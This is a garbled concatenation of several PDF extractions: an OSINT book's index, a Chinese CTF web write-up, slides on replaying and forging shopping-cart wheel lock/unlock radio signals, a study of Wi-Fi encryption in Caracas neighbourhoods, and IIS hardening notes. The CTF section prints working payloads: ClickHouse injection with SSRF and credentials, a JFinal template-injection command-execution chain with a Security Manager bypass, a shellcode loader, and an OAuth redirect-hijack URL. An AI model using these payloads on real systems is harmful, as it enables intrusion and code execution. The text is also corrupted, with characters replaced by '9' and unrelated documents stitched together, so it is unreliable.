changes sure to come. Conclusion 513 A special THANK YOU to my editors. You make me appear smarter than I am. This book would be a mess without your input and guidance. I owe you all more credit than I can possibly give within this closing thought. I am often asked my opinion about the future of OSINT. In short, YOU are the future, not artificial intelligence or online services. Occasionally, I am asked to advise intelligence collection companies during the creation of a new "all-in-one" OSINT solution. I decline these requests because the easy solutions are usually7 short-lived. Constant changes in technology7, and automated data collection restrictions, make these commercial products less powerful over time. I do not believe these can ever replace your analytical brain. The truly valuable and powerful OSINT techniques are going to require manual work from an individual investigator. Your OSINT analysis skills cannot be replaced by7 a machine. Please go do good things with these methods, and never allow a program to become more beneficial than you. 514 Documentation, 481 Documents, 325 Metadata, 330 Pastes, 329 Pirated Content, 333 Search, 325 Domains, 365 Analytics, 374 Data Breaches, 383 Historical Archives, 370 Historical Registration, 367 Historical Captures, 371 Hosting, 365 Page Modifications, 373 Registration, 365 Robots.txt, 378 SEO Tools, 378 Shortened Uris, 384 Source Code, 376 Subdomains, 377 Threat Data, 381 Whois, 365 Domain Utilities, 71 DownThemAll, 28 DuckDuckGo, 162 eBay, 252 Elasticsearch Crawler, 448 Elasticsearch, 446 Email Addresses, 257 Assumptions, 259, 274 Breaches, 261 Compromised Accounts, 259 Domain Connections, 268 Imitation, 269 Providers, 269 Search, 258 Verification, 257 Email2Phone, 67 Emailrep, 258 Ethics, 507 Exalead, 162 Exif Viewer, 32 ExifTool, 75, 330 EyeWitness, 69 Facebook, 169 Email Search, 184 Encoding, 173 Friends, 181,183 IDs, 173,176 Images, 341 Phone Search, 183 Posts, 176 Profiles, 170 Search, 169 FFmpeg, 45 Firefox, 19 Add-ons, 21 Configuration, 20 Containers, 22 Profiles, 37 Screenshot, 31 Fireshot, 30 Flickr, 342 Flowcharts, 472 FOCA, 331 FOIA Search, 399 Forums, 248 FTP Search, 164 Gab, 231 Gallery Tool, 66 Gallery-DL, 66 Genymotion, 122 Gettr, 231 GHunt, 416 Gift Registries, 288 Google, 141 Advanced Search, 159 Alerts, 150 Blogs, 160 Cache, 154 Dates, 146 Documents, 326 Earth Pro, 80 Images, 151, 337 Input Tools, 157 Maps, 307 Networks, 227 News, 158 Operators, 141 Patents, 160 Programmable Engines, 147 Scholar, 160 Search Tools, 146 Translator, 157 Videos, 358 Government Records, 397 Gravatar, 259, 273 Hacker News, 241 Hashes, 438 HavelBeenPwned, 260 Holehe, 68 HTTrack, 77 Index 4chan, 240 Addresses, 290 Aircraft Information, 404 Amass, 71 Amazon, 253 Android, 115 Apps, 118 Cloning, 126 Emulation, 115 Export, 127 Antimalware, 6 Antivirus, 4 Archives, 154,370 Barcodes, 346 Bing, 150 Advanced Search, 160 Cache, 154 Images, 151,337 Maps, 309 Operators, 150 Translator, 157 Videos, 358 Bitcoin, 409 Blocked Downloads, 55 Bookmarklets, 41 Breach Credentials, 435 Brew, 5, 99 Bulk Media Downloader, 28 Business Records, 397 Campaign Contributions, 404 Carbon 14,71 CherryTree, 482 Chocolatey, 109 Chrome Browser, 39, 74 ClamAV, 5 Collection & Capture, 465, 469 Computer Optimization, 3 Contact Exploit, 125, 229, 304 Copy Selected Links, 34 Corporate Records, 399 Court Records, 397 Covert Accounts, 137, 508 Craigslist, 248, 302 Criminal Information, 405 Data Breaches, 429, 442 Data Leaks, 446 Dating Websites, 244 Deconfliction, 462 Dehashed, 133,261,384 Discord, 246 Dissenter, 233 515 Hunchly, 470, 493 Images, 337 Forensics, 346 Gallery-DL, 66 Manipulation, 346 Search Options, 34 Reverse Image Search, 337 Imgur, 238 Instagram, 207 Channels, 213 Comments, 212 Downloader, 216 Followers, 211 Hash tags, 211 Images, 208 Metadata, 210 Search, 207, 214 Tool, 63 Instaloader, 63 Instalooter, 63 International Networks, 230 Internet Archive Tool, 413 Internet Archive, 333, 359, 453 IP Addresses, 387 DNS Search, 388 Location, 387 Logging, 393 Search, 387 Threat Data, 392 Tor Search, 389 Torrent Search, 389 Whois, 387 Kazam, 82 KeePassXC-Browser, 37 KeePassXC, 8, 83 Keyword Tool, 160 KnockKnock, 5 LibreOffice, 73 Link Analysis, 470, 489 Linkedln, 219 Breach, 433 Companies, 221 Posts, 220 Profiles, 220 Search, 221 Linux Scripts, 47 macOS, 4 Issues, 114 OSINT Host, 99 Reversal, 105 Updates, 104 Malwarebytes, 6 Maps, 307 Crowd-Sourced, 313 Historic Imager}', 311 Manipulation, 323 Satellite Imagery, 310 Marine Information, 404 Marketing Data, 433 mat2, 75 Mediainfo, 74 Meetup, 243 Metadata, 73,210, 332, 343 Document, 330 Exif, 343 Extraction, 332 Removal, 75 Sanitization, 493 YouTube, 355 Metagoofil, 78 Methodology, 459 Name Search, 279 Newspaper Archive, 158 Newspaper Comments, 249 Nextdoor, 243 Nimbus, 31 Note-Taking, 463,481 OfferUp, 253 OneNote, 466,481 OneTab, 35, 465 Osintgram, 63 PACER, 398 Parler, 231 Password Manager, 8, 83 Paste Search, 329 PeopleDataLabs, 268, 274, 298 People Search, 279 Photon, 71 Pinterest, 254 Policies, 501 Preparation, 1 Preservation Letters, 462 Prostitution, 249 ProtonMail, 267 Pushshift, 237 Qwant, 162 Radio Broadcasts, 406 Ransomware Data, 456 Rebate Tracking, 284 RECAP, 398 Recon-ng, 421 Reddit, 235 Bulk Downloader, 79 Deleted Content, 236 Domains, 380 Downloader, 80 Finder, 79 Images, 238 Search, 235 Subreddits, 239 Tools, 79 Views, 236 Rental Vehicle, 334 Reporting, 485 Resumes, 287 Resurrect Pages, 34 Ripgrep, 430 RipMe, 66 ScamSearch, 268, 412 Screen Capture, 82 Scylla, 264 Search Engines, 141 Search Tools, 129 Searx, 161 Sherlock, 67 Sherloq, 76 Shodan, 390,446 Snapchat, 225,310,434 Social Networks, 219 SocialScan, 67 Source Code Search, 166 Spiderfoot, 419 Spycloud, 261 SQL Files, 451 SSN Records, 401 Start Page, 162 Stealer Logs, 457 Stream Detector, 36 Streamlink, 60 Sublist3r, 71 Tab Management, 35, 465 Task Explorer, 5 Telegram, 228 Telephone Numbers, 293 Caller ID Databases, 294 Caller ID Script, 296 Carrier Identification, 293 Historical Search, 302 Reward Card Search, 303 Search Engines, 300 Search Websites, 299 theHarvester, 71 TikTok, 241 Tinder, 245 Profiles, 246 Tor, 40 Browser, 74 Search Engines, 163 Toutatis, 63 516 Training, 511 Translation, 156 Triage, 461 TruMail, 257 Tumblr, 228, 342 Tweet Deck, 194 TweetBeaver, 195 Twilio, 294 Twitter, 185 Analytics, 198 Biographies, 201 Dates, 189 Deleted Posts, 191 Email Address, 187 Followers, 203 Location, 188, 203 Media, 191 Profiles, 186 Search Operators, 188 uBlock Origin, 24 Ubuntu Linux, 13 Usenet Data, 452 User-/\gent Switcher, 32 Usernames, 271 Compromised Accounts, 273 Search Tool, 67 Search, 271 Virtual Currencies, 409 Blockchain, 409 Transactions, 410 Validation, 410 Value, 410 Vehicle Data, 401 Vehicle Registration, 402 Videos, 353 Archives, 362 Closed Captions, 362 Deleted Archives, 359 DownloadHclper, 29 Fragmented, 54 Live Streams, 362 News Archives, 362 Reverse Search, 359 Stream Tool, 60 Utilities, 57 Virtual Private Network, 7 VirtualBox, 12, 85, 115 VLC, 45 Virtual Machines, 11 Clones, 17 Configuration, 88 Errors, 18 Exports, 17 Maintenance, 87,96 Script, 89 Snapshots, 16 Updates, 95 Windows, 98 Voter Registration, 401, 429 Wayback Machine, 155 Wayback Search, 155 Web Browsers, 19 WebScrcenShot, 69 WhatsMyName, 67,272 Wigle, 390 Windows, 4 Issues, 114 OS1NT Host, 106 Reversal, 113 Updates, 112 Xeuledoc, 75 Yandex, 151 Cache, 154 Images, 338 Operators, 152 Videos, 358 YouTube, 353 Crawler, 357 Metadata, 355 Profiles, 356 Reverse Search, 356 Strategies, 353 Tool, 46 Unlisted Videos, 358 YouTube-DL, 46 yt-dlp, 51
pdf
MOC CTF MOC 前言 Games double sqli & Solved & #SQL #ClickHouse Unsecure Blog & Solved & #JFinal #表达式注入 Sp-Auth & Unsolved & #Spring #OAuth劫持 #CSRF and RCE ? 后记 前言 Web Wirteup 如下 Games double sqli & Solved & #SQL #ClickHouse 首先进入题目,有种 sqli-labs 的既视感。在后面加上了单引号报错了。 通过搜索,不难发现这个是 ClickHouse 的报错。简单浏览下官方文档,构造一个联合查询,帮助我们回显(报错太难看了。 -1 union all select 'a'; 接着使用 user() 函数,简单看了下当前用户为 user_02 然后测试了下几个函数,发现这个用户能干的事情太少了。通过目录扫描,发现存在一个路径 files 这里之后@堆堆,告诉我这地方存在目录跨越,可以直接读文件了. /files9/ 接下来就是信息搜集了,不一会就传来了好消息,找到了一个数据库的初始文件路径为 files9/var/lib/clickhouse/access/xxxx.sql 就这样我们便得到了一个有权限的用户 user_01 和其密码 e3b0c44298fc1c149afb 并且得到了flag所在的库名和表名. 接下来通过阅读文档,发现 clickhouse 有两个很有意思的地方,这两个姿势合起来恰好可以形成一个需要授权的 SSRF 执行SQL 语句的功能。 HTTP Interface | ClickHouse Documentation url | ClickHouse Documentation url这个函数,可以帮助我们发起一个 http 请求。而 clickhouse 自带一个 http 的服务,用于执行 SQL 语句。 虽然文档中给的大多鉴权执行SQL语句大多都是 POST 请求。而 url 本身感觉只支持 GET 请求(未测试)。但是实际测试下来,完全 是可以只使用 GET 请求就完成授权操作以及 SQL 语句的执行 见如下 payload flag就到手了 Note -1 union all select * from url('http99127.0.0.1:8123/? user=user_01&password=e3b0c44298fc1c149afb&query=select * from ctf.flag', CSV, 'column1 String'); Unsecure Blog & Solved & #JFinal #表达式注入 题目展示如下 提取几个关键的信息  jdk8u301  flag的位置,这应该是在注册表中,可能需要文件读取或者是命令执行导出注册表 首先第一步弱口令 111111 进后台,没有什么需要说的。对后台功能进行测试之后,发现存在一个模板渲染的洞。对着官方文档 学学,构造如下包 POST /admin/blog/preview HTTP/1.1 Host: 39.105.169.140:30000 Content-Length: 53 DNT: 1 X-Requested-With: XMLHttpRequest Content-Type: application/x-99-form-urlencoded; charset=UTF-8 Cookie: sessionId=4ccdd401322541cf94aaf6ec63aa41fb Connection: close blog.title=123&blog.id=2&blog.content=#set(x=1*1)9x) 这里我们用到了两个语法  #set() ,用于赋值  9) 对象的引用 一开始有一个知识盲区的地方,不知道怎么生成对象。比如 thymeleaf 模板注入可以使用 T() 来生成一个对象。但是这个一开始 确实没啥思路 在解决这个问题之前,其实还有一个地方需要解决,那就是这个 JFinal Enjoy 的内置黑名单,这个黑名单,对类以及方法名都 做了限制。 相关类如下,有想了解的师傅可以自己去看看这个类的静态代码块。 com.jfinal.template.expr.ast.MethodKit 这里就给出方法名的黑名单 String[] ms = { "getClass", "getDeclaringClass", "forName", "newInstance", "getClassLoader", "invoke", 9 "getMethod", "getMethods", 9 "getField", "getFields", "notify", "notifyAll", "wait", "exit", "loadLibrary", "halt", 9 "load", "stop", "suspend", "resume", 9 "setDaemon", "setPriority" "removeForbiddenClass", "removeForbiddenMethod" }; 之后想了个办法,通过调用一些类的静态方法来获取实例。比如这里我选择的 net.sf.ehcache.util.ClassLoaderUtil9createNewInstance 方法。可以看法到这个方法并没有在这个黑名单之中。 那么获取实例这个地方我们就解决了。接下来的话自然想到转换成 js 代码执行。 #set(x=net.sf.ehcache.util.ClassLoaderUtil::createNewInstance("javax.script.ScriptEngineManager")) #set(e=x.getEngineByName("js")) #(e.eval(jscode)) 在这里为了抄作业,利用 file99 协议可以列目录的特点,我优先写了个列目录以及获取文件内容的 poc (逃... var inputStream = new java.net.URL("file:99C:/Users/ctf/jfinal-blog/jfinal- blog/webapp").openConnection().getInputStream(); var stringBuilder = new java.lang.StringBuilder(); var reader = new java.io.BufferedReader(new java.io.InputStreamReader(inputStream)); var line = null; while ((line = reader.readLine()) 9 null) { stringBuilder.append(line); stringBuilder.append("\n"); } stringBuilder.toString(); 也是看到很多有意思的东西,比如写 php 一句话,写 假flag , 其他模板注入 的ETC,也看到几个很有意思的思路 到了执行 js 其实也并不是一帆风顺了。比如可能会碰到  命令执行不成功  命令执行成功,但是却弹不回来shell 第一个问题是因为,这个 JFinal Blog 有一个 Security Manager Example #set(x= ParserConfig9getGlobalInstance()) #(x.setAutoTypeSupport(true)) #(x.addAccept("javax.script.ScriptEngineManager")) #set(a=com.alibaba.fastjson.JSON9parse('{"@type":"javax.script.ScriptEngineManager"}')) 手动开启 FastJson 的 setAutoTypeSupport 的选项,然后通过调用 FastJson 来解析 JSON 来生成实例,属实比较牛逼了。 *似乎是出题人的预期解 #set(engine = ClassLoaderUtil9createNewInstance("javax.script.ScriptEngineManager",null,null)) #(engine.getEngineByName("javascript").eval("function getUnsafe(){var unsafeField=java.lang.Class.forName('sun.misc.Unsafe').getDeclaredField('theUnsafe');unsafeField.setA unsafe=unsafeField.get(null);return unsafe}function getVirtualMachineClass(){var unsafe=getUnsafe();var b64ClassString='yv66vgAAADQAMgoABwAjCAAkCgAlACYF//////////8IACcHACgKAAsAKQcAKgoACQArBwAsAQAGPGluaXQ+A classBytes=java.util.Base64.getDecoder().decode(b64ClassString);var cls;try{cls=unsafe.defineClass('sun.tools.attach.WindowsVirtualMachine',classBytes,0,classBytes.lengt {cls=java.lang.Class.forName('sun.tools.attach.WindowsVirtualMachine')}return cls}function getEnqueue(){var cls=getVirtualMachineClass();var declMethods=cls.getDeclaredMethods();for(var i=0;i<declMethods.length;if9) {java.lang.System.out.println(declMethods[i].getName());if(declMethods[i].getName()i9'run'){var m=declMethods[i];var buf= [0xfc,0x48,0x83,0xe4,0xf0,0xe8,0xcc,0x00,0x00,0x00,0x41,0x51,0x41,0x50,0x52,0x51,0x56,0x48,0x31,0xd2, javaBuf=Java.to(buf,'byte[]');m.setAccessible(true);m.invoke(cls,javaBuf)}}}getEnqueue();")) com.alibaba.fastjson.parser. net.sf.ehcache.util. 发现这里拦截了我们写 .dll 文件,防止我们命令执行。通过搜索,发现已经有师傅总结了几个 SM 绕过的姿势,这里贴一下链接 至于第二个问题嘛,是因为有 windows defender 似乎... 看完文章之后,想了想,应该可以写一个 js 绕过 security manager 的命令执行,见如下代码 这里也遇到了几个小坑  如果想要java原生的 String[] ,需要通过反射来生成。单纯通过 ["123","123"] 这样生成代码,无法匹配上 java.lang.String[].class  同理添加数组内容也最好使用反射来操作。 var clz = Java.type('java.lang.String[]').class; var rclz = Java.type('java.lang.ProcessBuilder.Redirect[]').class; var bclz = Java.type('boolean').class; var pclz = Java.type('java.lang.ProcessImpl').class; var cmd = java.lang.reflect.Array.newInstance(java.lang.String.class, 3); java.lang.reflect.Array.set(cmd, 0, 'cmd.exe'); java.lang.reflect.Array.set(cmd, 1, '/c'); java.lang.reflect.Array.set(cmd, 2, 'whoami'); var m = pclz.getDeclaredMethod('start', clz, java.util.Map.class, java.lang.String.class, rclz, bclz); m.setAccessible(true); var inputStream = m.invoke(null, cmd, null, null, null, false).getInputStream(); var stringBuilder = new java.lang.StringBuilder(); var reader = new java.io.BufferedReader(new java.io.InputStreamReader(inputStream)); var line = null; while ((line = reader.readLine()) 9 null) { stringBuilder.append(line); stringBuilder.append("\n"); } stringBuilder.toString(); 到这里相当于我们已经可以命令执行了,那么之后搜了下 Windows如何导出注册的表 得到以下命令 eg export HKEY_CURRENT_USER 1.reg 之后通过文件读取注册表即可获得 flag Sp-Auth & Unsolved & #Spring #OAuth劫持 #CSRF and RCE ? 由于这题没做出来,就不详细写Writeup了。只是和看过这个题的师傅们遥相交流一波。 这道题感觉很多师傅和我一样卡在了第一步。就是这个 admin 用户究竟是干啥的。 下面简述下第一步的过程。 首先先来了解下这里两个路由功能点 /oauth/authorize 这个路由使用来生成我们的授权码的。获取授权码之后,我们可以直接访问这个 http9939.105.116.246:30003/zwo/callback?code=2YbOS3aUhigWAysU8aFsHwP1 链接获取 cookie Tip 当然之前也写过 js 加载字节码的,也给玩的好的小伙伴私下交流过。 但是这里js执行字节码,这里也遇到几个小坑,  消失的 sun.misc.BASE64Decoder 。难道jdk8u301没有了 sun.misc.BASE64Decoder() ?或者说不是用 oraclejdk  需要把js代码进行一次urlencode,这里是用 try-catch 找到了问题所在 try { function define(classBytes) { var byteArray = Java.type('byte[]'); var int = Java.type('int'); var defineClassMethod = java.lang.ClassLoader.class.getDeclaredMethod('defineClass', byteArray.class, int.class, int.class); defineClassMethod.setAccessible(true); var cc = defineClassMethod.invoke(java.lang.Thread.currentThread().getContextClassLoader(), classBytes, 0, classBytes.length); return cc.getConstructor().newInstance(); } var byteCode = '${byteCode}'; var decode = null; try { decode = java.util.Base64.getDecoder().decode(byteCode); } catch (e) { decode = new sun.misc.BASE64Decoder().decodeBuffer(byteCode); } var a = define(decode); a } catch (e) { e } 所以我思路是: 发过去的是一个生成授权码的链接,admin点了之后redirect到我们的机器上,我们拿到code,生成cookie。用这个Cookie登录 账号即可 这是之后测试的 Payload http://39.105.116.246:30002/oauth/authorize? client_id=62608e08adc29a8d6dbc9754e659f125&response_type=code&redirect_uri=http:/your- ip:port%[email protected]:30003/zwo/callback&scope=app 但是似乎bot有点问题,在之后的测试中,我发了好几次链接,都没有收到来自bot的请求内容。 后记 Writeup写的十分仓促,所以对代码的分析不多,停在表面上。也欢迎各位师傅私下交流。
pdf
DoS: Denial Of Shopping Analyzing and Exploiting (Physical) Shopping Cart Immobilization Systems by Joseph Gabay A Disclaimer This talk is the result of my personal project. Any views, opinions, or research presented in this talk are personal and belong solely to me. They do not represent or reflect those of any person, institution, or organization that I may or may not be associated with in a professional or personal capacity unless explicitly stated otherwise. Who are you? Who are you? And how did you get in here? Joseph Gabay Joseph Gabay Hacker, Maker, Flat Mooner, Collector of Silly Domain Names and Random Certifications. I also build robots sometimes. Wait, shopping cart whatnows? ● Invisible fence, for carts. ○ No, really. ● Shopping cart locks when taken out of parking lot ● Other, more niche applications ○ Stopping “runouts” ● Gatekeeper Systems estimates $180 million in annual shopping cart theft Okay, but why shopping cart wheels? Or, a brief ramble about hacking. “It's not worth doing something unless someone, somewhere, would much rather you weren't doing it.” - Sir Terry Pratchett GNU Terry Pratchett How do they work? ● Magnetic Loop System ○ Underground perimeter wire sends out signal ● Current through wire produces magnetic field ● Cart senses field, locks using internal mechanism ● Store staff has remote that can unlock carts Anatomy of a Shopping Cart Wheel - Locking Mechanism Anatomy of a Shopping Cart Wheel - Locking Mechanism Mechanism expands/contracts inner ring Anatomy of a Shopping Cart Wheel - Locking Mechanism Mechanism expands/contracts inner ring Ridges on inner ring lock into ridges inside wheel casing Anatomy of a Shopping Cart Wheel - Internal View ● 3V Lithium Battery ○ µC likely optimized for low power consumption ● DC Motor ○ Drives gearbox to expand/contract ring ● PCBa hosts radios and microcontroller 3V Lithium Battery Motor PCB Assembly Anatomy of a Shopping Cart Wheel - PCBa ● 2 Separate Antennas ○ 2.4G - PCB Trace ○ 7.8K - Inductor ● TI CC2510 Microcontroller ○ Built-in 2.4 GHz transceiver ○ Low-power modes ● Motor driver circuit ● VLF Amplifier ○ (very curious as to how it works) ● JTAG port for programming chip 2.4 GHz Antenna Microcontroller Inductor (VLF Antenna) How do we learn more about the lock signal? ● FCC.gov - always a goldmine ● Patent Searches ● Other hackers ○ tmplab.org “consumer-b-gone” What did we learn? ● Two control frequencies ○ Below 9 KHz (problem) ○ 2.4 GHz ISM band (less problem) ● 2.4 GHz modulated using MSK/FSK source: fcc.gov Capturing the VLF Signal - Problems ● Signal is Very-Low Frequency (VLF) - < 9 KHz ○ Corresponding wavelengths in 10s of Kms ○ Ideal antennas should be close to wavelength ○ Most SDRs and RF amps expect > 1 MHz But wait: 9 KHz is in audio range… ● We can use audio amp equipment! ○ Thanks tmplab.org hackers for the inspiration A Brief Apology to Any RF Engineers in the Audience. (I’m not sorry) RF Engineers… I’m sorry. ● Basic Loopstick Antenna ○ Ferrite core ○ Magnet wire ○ ~21 mH inductance ○ Tuning capacitor ● 3.5mm Jack ○ 2.5 kΩ resistor to trick audio port into thinking its a microphone ● What could go wrong? Loopstick Antenna Wired into 3.5mm Jack Field trip! We actually see a signal! I’m in. Let’s inspectrogram the spectrogram. 7.8 kHz 15.6 kHz (resonant) Oh the Audacity... Zoom, enhance! 125 ms 125 ms 125 ms Bit by bit... START STOP 1 0 0 0 1 1 1 0 Unlock and 2.4 GHz Signals ● Unlock signal and any 2.4 GHz signals comes from a CartKey ○ Used by stores to lock/unlock carts ○ Unlock is 7.8K/2.4G ○ Lock only broadcasts on 7.8K ● Ebay is a magical place Let’s go and sniff the 7.8K signals. CartKey Signal Captures - V1 vs V2 CartKey v1 Lock CartKey v1 Unock CartKey v2 Lock CartKey v2 Unock CartKey Signal Captures - V1 vs V2 Lock Unlock Compare lock/unlock Lock Signal @ 7.8 kHz Unlock Signal @ 7.8 kHz START STOP 1 0 0 0 1 1 1 0 START STOP 0 1 1 1 0 0 0 1 Lock: 0b10001110 Unlock: 0b01110001 Lock signal is inverse of unlock! Will a 7.8 KHz replay attack work? ● Can we play the lock/unlock signals back through the loopstick antenna? ● Yes, but the range is short ○ ~2ft with a 10W amplifier ○ Loopstick is a poor transmitter ■ Directional ○ Hard to get around it ● Phone speakers/headphones can also replay ○ Microphones are basically antennas ○ “Parasitic EMF” Will a 7.8 KHz replay attack work? [Allan, please add demo video here.] Increasing the range? ● Bigger coil ○ Found at the MIT Flea ● External Amplifier ○ 10W Audio Amplifier ● Diminishing Returns ○ Inverse square rule ○ Fighting against physics ● Loopsticks are bad at TX Peeking at the 2.4 GHz Signal ● 2.4 GHz is much easier to work with ● Used a HackRF SDR ○ 1 MHz - 6 GHz range ○ greatscottgadgets.com ● Should let us analyze any 2.4 GHz signals Peeking at the 2.4 GHz Signal - Gqrx Peeking at the 2.4 GHz Signal - URH Peeking at the 2.4 GHz Signal - URH ● 2FSK Modulation ● Center freq = 2.417 GHz ● Spacing = 4.4 MHz ● Flow= 2.41480G FHigh = 2.41919G 2.41480 GHz 2.41919 GHz 0 0 1 0 0 1 0 Replaying the 2.4 GHz Unlock Command ● HackRF can act as a transmitter as well ● URH can export captures as .wav files ● Import to Audacity ○ lol ○ Slice n’ dice waveforms to make new commands ○ Make commands from pure tones ● Play .wav file through HackRF ○ URH is amazing Making a 2.4 GHz Unlock Command From Scratch A 2.4 GHz unlock command made from scratch in Audacity. 2.41480 GHz 2.41480 GHz 2.41919 GHz 386.75 µs 264.75 µs 386.75 µs 386.75 µs 218.38 µs 664.62 µs 0 0 1 Testing out our homemade command... The Audacity-made signal ready for rebroadcast in URH 2.41480 GHz 2.41480 GHz 2.41919 GHz 0 0 1 [Allan, please add demo video here.] Playing the 2.4 GHz Command Back Is there a 2.4 GHz Lock Signal? ● Would be longer range ○ Easier to transmit ● No combination of 1’s and 0’s like the unlock signal triggered a lock ● Wheels have advanced functionality that is unexplored ● Gatekeeper Systems likely chose not to implement this feature to prevent unintended locking Mysterious codes on the CartKey, likely for 7.8 KHz So what can we do with this? ● Short range locking of carts ○ Have to be within a few feet ● Unlock carts that have been locked ○ Much easier ways of getting a cart if that’s your goal ○ Shopping cart liberation ● Be content with the knowledge that you know how something hidden works Please don’t be a dick with this. References, Thanks, and Software Used References: ● The ARRL handbook for radio communications, 2007. Newington, CT: American Radio Relay League, 2006. Print. ● https://www.tmplab.org/2008/06/18/consum er-b-gone/ ● http://www.woodmann.com/fravia/nola_wheel .htm ● The wonderful people over at /r/rfelectronics ● FCC.gov Software Used: ● Audacity ● URH (Ultimate Radio Hacker) ● Gqrx Special thanks to the Electronic Frontier Foundation and its Coders’ Rights Project for their advice and guidance on doing this talk the right (and legal!) way. Thanks for coming! Any questions? Anything I did wrong? Anything I missed? Projects and Hobbies: [email protected] Professional: [email protected] @stoppingcart on twitter Any files I’m able to share will be available at begaydocrime.com/carts
pdf
Author Damian Finol Venezuelan Engineer in Informatics Currently doing a Masters in Computer Science with focus on Distributed systems and paralellism Working as an Information Security Specialist for a venezuelan Bank Teaching Databases, Operating Systems and Data Security at Universidad Nueva Esparta Totalfarker Project in a nutshell Started as Wi-Fi mapping of Caracas, Venezuela Seeks to understand if the difference in wealth affects network security The future?, electronic fences over wireless? Venezuela Located in South America Has a GDI of 0.826 Over 53% of the population lives under extreme poverty 20% of the population has access to the Internet. 86% of Venezuelans have a mobile phone (2nd in Latin America) 45%+ access internet from their homes, 27% of them get it from Wi-Fi Cafés. 67% of Internet users come from the D and E status (Poorest users) Most of the poor live in slums located in the extreme east (Petare) and extreme west (Catia, 23 de Enero, etc) Two big Slums in Caracas, One located to the west (left) The other to the east (right) Internet connections available using 3G modems, EVDO / EDGE Cell networks and WIMAX. Low physical security: houses (ranchos) are built using mud, adobes and zinc ceilings Slums Wealthy neighborhoods Mostly in the Eastern and south eastern side of the city Patches of high density high rise buildings (Mostly in the East) and houses / mansions in the South East. Internet connections are mostly DSL and Cable Wi-Fi Cafés almost inexistent Buildings are built with concrete (unlike American’s card box constructions) Strong physical security: Electric fences, watch guards, dogs, motion detection sensors, bulletproof windows and cars, cameras, gated communities. Slum version of Boingo SSID Has owner’s Cell number Phone cards are used to purchase wi-fi key Key is reissued Sunday evening Requires strong security: WPA/WPA2 Internet use is mostly recreational (Messenger), Crime (Identity theft, investigating kidnap victims, blackmail) or illegal informal economy (piracy of movies, music, software) Wi-Fi Cafés and Internet use Acer Aspire One with Atheros chipset Backtrack 4 beta + Kismet Volkswagen FOX 2008 and driving like crazy! Tools of the trade Wi-Fi raw in the Slums Sample of 400 random Wireless networks in Catia (Big slum – Western Caracas) 262 using WPA / WPA2 121 using WEP 17 not using encryption (unsecured) 43 Wi-Fi Cafés. WPA WEP NONE Wi-Fi raw in the Slums Sample of 400 random Wireless networks in Petare (Biggest slum – Eastern Caracas) 307 using WPA / WPA2 72 using WEP 21 not using encryption (unsecured) 82 Wi-Fi Cafés. WPA WEP NONE Wi-Fi raw in the rich areas Sample of 400 random Wireless networks in Chacao (Eastern Caracas) 192 using WPA / WPA2 142 using WEP 66 not using encryption (unsecured) 11 Wi-Fi Cafés. WPA WEP NONE Wi-Fi raw in the rich areas Sample of 400 random Wireless networks in Prados del Este / Hatillo (South Eastern Caracas) 101 using WPA / WPA2 197 using WEP 102 not using encryption (unsecured)! 3 Wi-Fi Cafés. WPA WEP NONE Notes on results - Slums The results taken from the samples in the slums tend to show that people living in the slums hold great value for their internet and their network security. Internet afterall is a commodity, one that doesn’t come cheap for them, hence the need to use stronger security mechanisms to prevent theft of it. Special note should be taken of Wi-Fi Cafés, which offer unlimited Internet over wireless for a set period of time and due to the nature of their business, they must provide a high level of security in their network to protect against theft and incurring in losses. This in turn drives conscience of security on the people who use the service. Finally, one should look at how low physical security in the slums affects the population, Caracas is by far the most dangerous city in the world ranked No 1 murder capital with over 130 killings for every 100k residents, followed by Cape Town with 62 per 100k (almost half). Ranchos (Slum houses) don’t offer much protection from theft, vandalism, stray bullets. Yet people in the slums activate advanced encryption techniques to protect against Internet service theft. Notes on results - Wealthy Results from wealthy areas aren’t exactly astonishing and predicted by the hypothesis, Internet is highly available on wealthy areas from different sources, 3G, WiMAX, EDGE/EVDO, DSL, Cable, Satellite, calls for a high demand of legal internet service, one that isn’t shared and allows full bandwidth speed. Special note on the difference between High Rise buildings and houses, the first one, specially in the Chacao area there exists a very high concentration of Wireless networks, whereas in residential (almost suburban) house complexes there is low concentration. This comes from population density and signal dissipation (Over yards and several walls). The 400 sample had to be taken from both slums and rich areas because of the low amount of wireless networks available in the South Eastern side (house complexes) Finally, the wealthy areas have strong physical security, like gated communities, electric fences, guards, dogs, cameras and motion detection sensors. Yet, they don’t use advanced encryption techniques, settling for ‘router defaults’ (Indeed, a large number of default SSID’s where seen) or a high number of unsecured networks. Wrap up Questions? Comments? E-mail: [email protected]
pdf
Securing Windows Internet Servers 23.org / Covert Systems [email protected] Jon Miller Senior Security Engineer Covert Systems, Inc. Always try to use a fresh install and migrate existing data over Make sure to convert to NTFS Default Security Settings are not applied You must apply them manually using MMC Upgrading? Installation Service Packs Always check windows update and TechNet to make sure you have the most current patches and SPs HFNETCHK Installation NTFS or FAT File Systems Always decide what services you require prior to installation Now is the time to decide what form of remote administration software, if any you will use… Terminal Server Vshell SSH & SFTP (www.vandyke.com) Services Never install superfluous services COMPAQ INSTALLATION = Services TCP/IP should be the only protocol Use TCP/IP Filtering (and IPSec when applicable) Nmap the server to make sure you don’t have any surprise ports open If it is an IIS box it can NEVER be on a domain Use second Ethernet card for remote admin and have only the “Internet Service” on the primary interface Network Configuration Customize your own security template and use it Establish standards within your template that apply to all servers from “PDCs” to desktops Using the MMC Password Complexity / Length Event Log Access • Always remember passwords so they cannot be reused Define Permissions for Services Rename Administrator Account Security Configuration Delete or rename files that may be used against you in the event of an attack Create partitions or move directory structure to protect against directory transversal • Do you really use MS TFTP? Remove OWA Do you really want an IIS server running on your companies Mail server? • Rename CMD.exe Microsoft Security Alerts microsoft.com/technet/security/notify.asp Common Sense IIS 4 / 5 Try to run only base services •The services below are the only services required to run a functional IIS server: –Event Log –License Logging Service –Windows NTLM Security Support Provider –Remote Procedure Call (RPC) Service –Windows NT Server or Windows NT Workstation –IIS Admin Service –MSDTC –World Wide Web Publishing Service –Protected Storage Stuff to Remove C:\inetpub - sample files c:\inetpub\iissamples c:\inetpub\iissamples\sdk c:\inetpub\AdminScripts c:\Program Files\Common Files\System\msadc\Samples * HTW Mapping IISADMPWD RDS (Remote Data Services) Parent Paths? (Disallows “..” *be careful*) Web server | Properties | Home Directory | Configuration | App Options Stuff to Remove Script Mappings (.htr .idc .stm .shtml .shtm .printer .ida .idq .hta ) Web server | Properties | Master Properties | WWW Service | Edit | Home Directory | Configuration Misc. Restrict Anonymous HKEY_LOCAL_MACHINE\System\CurrentControlSet\Control\LSA Name: RestrictAnonymous Type: REG_DWORD Value: 1. Permissions Set Your ACL's (next page) Make sure that the IIS log files are not publicly readable winnt\system32\LogFiles 